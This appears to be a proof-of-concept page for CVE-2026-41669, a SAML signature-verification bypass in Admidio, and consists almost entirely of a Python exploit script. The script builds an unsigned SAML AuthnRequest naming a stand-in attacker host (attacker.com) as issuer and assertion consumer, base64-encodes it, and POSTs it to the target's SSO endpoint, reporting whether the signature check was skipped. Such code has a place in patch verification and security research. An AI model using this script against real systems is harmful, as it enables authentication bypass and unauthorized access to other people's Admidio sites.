CVE-2026-41669 Admidio SAML签名验证绕过漏洞

import requests # Target URL (Example) target_url = "https://target-admidio.com/adm_program/modules/saml/sso.php" # A sample unsigned SAML AuthnRequest # In a real attack, this would be crafted to match the IdP requirements saml_request = "" saml_request += "<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" " saml_request += "ID=\"_1234567890\" Version=\"2.0\" ProtocolBinding=\"urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\" " saml_request += "AssertionConsumerServiceURL=\"https://attacker.com/consume\" " saml_request += "IssueInstant=\"2026-05-07T12:00:00Z\">" saml_request += "<saml:Issuer xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\">https://attacker.com</saml:Issuer>" saml_request += "</samlp:AuthnRequest>" # Base64 encode the SAML request (usually required) import base64 encoded_saml = base64.b64encode(saml_request.encode()).decode() # Payload to send payload = { "SAMLRequest": encoded_saml # Note: No Signature parameter is sent } print("[+] Sending unsigned SAML Request to target...") try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request processed successfully. Signature check bypassed.") else: print("[-] Request failed or rejected.") except Exception as e: print(f"[!] Error: {e}")